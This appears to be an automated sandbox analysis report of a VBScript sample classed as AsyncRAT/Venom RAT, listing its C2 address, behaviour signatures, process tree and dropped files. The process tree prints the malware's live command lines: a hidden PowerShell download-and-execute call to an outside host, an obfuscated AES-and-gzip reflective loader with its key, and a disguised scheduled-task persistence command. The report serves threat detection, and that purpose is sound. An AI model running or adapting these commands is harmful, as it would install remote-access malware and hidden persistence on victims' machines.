Analysis

  • max time kernel
    93s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-12-2024 02:57

General

  • Target

    b89759e93738b1b607e48a29f62bfda31e555b0aad30614c261ddf4ba10bdcdf.vbs

  • Size

    67KB

  • MD5

    9ffb1e62265a9b36d8c29afafc14f6fe

  • SHA1

    7e0abfdff1019bf28267f069b6fdf6658eb742b5

  • SHA256

    b89759e93738b1b607e48a29f62bfda31e555b0aad30614c261ddf4ba10bdcdf

  • SHA512

    7458a2fb582a0a314ff9d443515ab4379e9a71e26ccf0788e971898b32be58b64f82771dfc901eafe9e28db0755146432f02be5892fb64188c129e72f3d402f0

  • SSDEEP

    1536:VpR0fCWy9wwuo9MIA9Y31BYfHAoH7XpUoQ0tThvi:j8vwwI9Mz9Y3GZ19Q6hvi

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

py 2024

C2

45.88.88.7:6987

Mutex

vojifcrudluxshc

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b89759e93738b1b607e48a29f62bfda31e555b0aad30614c261ddf4ba10bdcdf.vbs"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1948
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:644
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\system.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4280
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\system.bat';$tSzt='CoyggSpyyggSTyggSoyggS'.Replace('yggS', ''),'TreKpmaneKpmsfeKpmormeKpmFeKpmineKpmaeKpmlBeKpmloceKpmkeKpm'.Replace('eKpm', ''),'ErHgtlemrHgtentrHgtAtrHgt'.Replace('rHgt', ''),'LoaWwjgdWwjg'.Replace('Wwjg', ''),'DecGFmyompGFmyrGFmyessGFmy'.Replace('GFmy', ''),'CrFbwFeFbwFateFbwFDecFbwFrFbwFyptFbwForFbwF'.Replace('FbwF', ''),'InhKbUvhKbUokehKbU'.Replace('hKbU', ''),'MaBxbRinBxbRMBxbRodBxbRulBxbReBxbR'.Replace('BxbR', ''),'SpYdNplpYdNipYdNtpYdN'.Replace('pYdN', ''),'EnthHmDryPhHmDoihHmDnthHmD'.Replace('hHmD', ''),'ReNXtTadLNXtTinNXtTesNXtT'.Replace('NXtT', ''),'GePRsKtCPRsKurPRsKrPRsKePRsKntPRsKPrPRsKoPRsKcPRsKesPRsKsPRsK'.Replace('PRsK', ''),'ChpQqmangpQqmeEpQqmxtepQqmnpQqmsipQqmonpQqm'.Replace('pQqm', ''),'FrrEElorEElmBarEElserEEl64rEElStrEElrrEElinrEElgrEEl'.Replace('rEEl', '');powershell -w hidden;function aRtvG($VLEjt){$KNVsD=[System.Security.Cryptography.Aes]::Create();$KNVsD.Mode=[System.Security.Cryptography.CipherMode]::CBC;$KNVsD.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$KNVsD.Key=[System.Convert]::($tSzt[13])('ZsQNWZMNttfFdanp5YMfjA81pjXlEiaRBDoUMbmKu7A=');$KNVsD.IV=[System.Convert]::($tSzt[13])('Zwl9jKpodheYgolhwF+ZoA==');$NvSea=$KNVsD.($tSzt[5])();$ocMex=$NvSea.($tSzt[1])($VLEjt,0,$VLEjt.Length);$NvSea.Dispose();$KNVsD.Dispose();$ocMex;}function DyGwn($VLEjt){$TnJXr=New-Object System.IO.MemoryStream(,$VLEjt);$ALCZl=New-Object System.IO.MemoryStream;$vftmX=New-Object System.IO.Compression.GZipStream($TnJXr,[IO.Compression.CompressionMode]::($tSzt[4]));$vftmX.($tSzt[0])($ALCZl);$vftmX.Dispose();$TnJXr.Dispose();$ALCZl.Dispose();$ALCZl.ToArray();}$bjAKz=[System.IO.File]::($tSzt[10])([Console]::Title);$AliFC=DyGwn (aRtvG ([Convert]::($tSzt[13])([System.Linq.Enumerable]::($tSzt[2])($bjAKz, 5).Substring(2))));$vtSyn=DyGwn (aRtvG ([Convert]::($tSzt[13])([System.Linq.Enumerable]::($tSzt[2])($bjAKz, 6).Substring(2))));[System.Reflection.Assembly]::($tSzt[3])([byte[]]$vtSyn).($tSzt[9]).($tSzt[6])($null,$null);[System.Reflection.Assembly]::($tSzt[3])([byte[]]$AliFC).($tSzt[9]).($tSzt[6])($null,$null); "
          4⤵
            PID:2568
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2444
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2600
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\system')
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:180
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 25492' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network25492Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1696
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network25492Man.cmd"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3096
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network25492Man.cmd"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:940
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network25492Man.cmd';$tSzt='CoyggSpyyggSTyggSoyggS'.Replace('yggS', ''),'TreKpmaneKpmsfeKpmormeKpmFeKpmineKpmaeKpmlBeKpmloceKpmkeKpm'.Replace('eKpm', ''),'ErHgtlemrHgtentrHgtAtrHgt'.Replace('rHgt', ''),'LoaWwjgdWwjg'.Replace('Wwjg', ''),'DecGFmyompGFmyrGFmyessGFmy'.Replace('GFmy', ''),'CrFbwFeFbwFateFbwFDecFbwFrFbwFyptFbwForFbwF'.Replace('FbwF', ''),'InhKbUvhKbUokehKbU'.Replace('hKbU', ''),'MaBxbRinBxbRMBxbRodBxbRulBxbReBxbR'.Replace('BxbR', ''),'SpYdNplpYdNipYdNtpYdN'.Replace('pYdN', ''),'EnthHmDryPhHmDoihHmDnthHmD'.Replace('hHmD', ''),'ReNXtTadLNXtTinNXtTesNXtT'.Replace('NXtT', ''),'GePRsKtCPRsKurPRsKrPRsKePRsKntPRsKPrPRsKoPRsKcPRsKesPRsKsPRsK'.Replace('PRsK', ''),'ChpQqmangpQqmeEpQqmxtepQqmnpQqmsipQqmonpQqm'.Replace('pQqm', ''),'FrrEElorEElmBarEElserEEl64rEElStrEElrrEElinrEElgrEEl'.Replace('rEEl', '');powershell -w hidden;function aRtvG($VLEjt){$KNVsD=[System.Security.Cryptography.Aes]::Create();$KNVsD.Mode=[System.Security.Cryptography.CipherMode]::CBC;$KNVsD.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$KNVsD.Key=[System.Convert]::($tSzt[13])('ZsQNWZMNttfFdanp5YMfjA81pjXlEiaRBDoUMbmKu7A=');$KNVsD.IV=[System.Convert]::($tSzt[13])('Zwl9jKpodheYgolhwF+ZoA==');$NvSea=$KNVsD.($tSzt[5])();$ocMex=$NvSea.($tSzt[1])($VLEjt,0,$VLEjt.Length);$NvSea.Dispose();$KNVsD.Dispose();$ocMex;}function DyGwn($VLEjt){$TnJXr=New-Object System.IO.MemoryStream(,$VLEjt);$ALCZl=New-Object System.IO.MemoryStream;$vftmX=New-Object System.IO.Compression.GZipStream($TnJXr,[IO.Compression.CompressionMode]::($tSzt[4]));$vftmX.($tSzt[0])($ALCZl);$vftmX.Dispose();$TnJXr.Dispose();$ALCZl.Dispose();$ALCZl.ToArray();}$bjAKz=[System.IO.File]::($tSzt[10])([Console]::Title);$AliFC=DyGwn (aRtvG ([Convert]::($tSzt[13])([System.Linq.Enumerable]::($tSzt[2])($bjAKz, 5).Substring(2))));$vtSyn=DyGwn (aRtvG ([Convert]::($tSzt[13])([System.Linq.Enumerable]::($tSzt[2])($bjAKz, 6).Substring(2))));[System.Reflection.Assembly]::($tSzt[3])([byte[]]$vtSyn).($tSzt[9]).($tSzt[6])($null,$null);[System.Reflection.Assembly]::($tSzt[3])([byte[]]$AliFC).($tSzt[9]).($tSzt[6])($null,$null); "
                  7⤵
                    PID:1728
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    7⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of WriteProcessMemory
                    PID:3748
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                      8⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2388
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network25492Man')
                      8⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:840
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 25492' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network25492Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                      8⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1876
            • C:\Windows\system32\timeout.exe
              timeout /nobreak /t 1
              4⤵
              • Delays execution with timeout.exe
              PID:1404

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        2f57fde6b33e89a63cf0dfdd6e60a351

        SHA1

        445bf1b07223a04f8a159581a3d37d630273010f

        SHA256

        3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

        SHA512

        42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

        Filesize

        2KB

        MD5

        e4de99c1795fd54aa87da05fa39c199c

        SHA1

        dfaaac2de1490fae01104f0a6853a9d8fe39a9d7

        SHA256

        23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457

        SHA512

        796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        bbb08cd650ab050591fa8e7d71de25a5

        SHA1

        f25add9d1a28e52d2881d331a9bf2ed9b468409a

        SHA256

        687c46daecc83ca21d26f2cf21ec136e964394eaf42f9d479ba304b791d452b7

        SHA512

        0e46b7489a2ee74a54f35fbe674881560fbb20abc9849c6898f2723960d0a4eca8ff8cbe66f4661909af78813b5ca6fe4de22c379877ce91ada4d40be2f4c00c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        cc2ce575753731574bf10ff6e5162032

        SHA1

        b660e5156f97af770e5d359fdd2a6ea697f359fb

        SHA256

        c0c37fd6fb26d101e347a1e9b5190029bb591d8c57392dbf2df4741b11fc2dfa

        SHA512

        715bb49c3977d51ff39b0458b99c5e3ba786e3110a4015402cd023b484ff385704475238fb813d074524d76bc733b0d4e92b57b64d187b3d6a664e4f38eebc1b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        b66db53846de4860ca72a3e59b38c544

        SHA1

        2202dc88e9cddea92df4f4e8d83930efd98c9c5a

        SHA256

        b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

        SHA512

        72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        445a1630187278b1ac699063697ae7d6

        SHA1

        1e7482b7667961bed252876dfe40ed5ba3659a7c

        SHA256

        46357929749decc9d26b5e2c1de4798ad6ccac93ea89637f4a0d4f780ab0b845

        SHA512

        9fa6b53ddb3cbbb350685c0cb2b9802b97885891725666feac42ba09662ef2adf009b98c347cb7811a1aee1924d39b76d85fb9c5c839128cd0616af7fb24c70e

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vidguero.qek.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\system.bat

        Filesize

        66KB

        MD5

        5f705dae5b64c2091db9b36fed377e74

        SHA1

        10209ca44ec5fc7289371296f0113e5001a7a3d2

        SHA256

        de81ae7b4398a1ec4091ad8e9ed9cf4fdc1ed88b7b1af8a5d07aacba1b0f4af7

        SHA512

        23b077a0fd01fa85a9f81b2f14db30a99a44bc3a1c45131f235fdf0c87542d33b4ea042db620fa50c924e214ce1e428eb05d0f651f7119979e07767df3b17878

      • memory/1948-12-0x00007FF9862B0000-0x00007FF986D71000-memory.dmp

        Filesize

        10.8MB

      • memory/1948-17-0x00007FF9862B0000-0x00007FF986D71000-memory.dmp

        Filesize

        10.8MB

      • memory/1948-14-0x00007FF9862B0000-0x00007FF986D71000-memory.dmp

        Filesize

        10.8MB

      • memory/1948-13-0x00007FF9862B0000-0x00007FF986D71000-memory.dmp

        Filesize

        10.8MB

      • memory/1948-0-0x00007FF9862B3000-0x00007FF9862B5000-memory.dmp

        Filesize

        8KB

      • memory/1948-11-0x00007FF9862B0000-0x00007FF986D71000-memory.dmp

        Filesize

        10.8MB

      • memory/1948-1-0x000001A58ABD0000-0x000001A58ABF2000-memory.dmp

        Filesize

        136KB

      • memory/2444-32-0x000001635C9A0000-0x000001635C9E4000-memory.dmp

        Filesize

        272KB

      • memory/2444-33-0x000001635CA70000-0x000001635CAE6000-memory.dmp

        Filesize

        472KB

      • memory/2444-44-0x000001635C710000-0x000001635C720000-memory.dmp

        Filesize

        64KB

      • memory/3748-113-0x000001D41EC50000-0x000001D41EC68000-memory.dmp

        Filesize

        96KB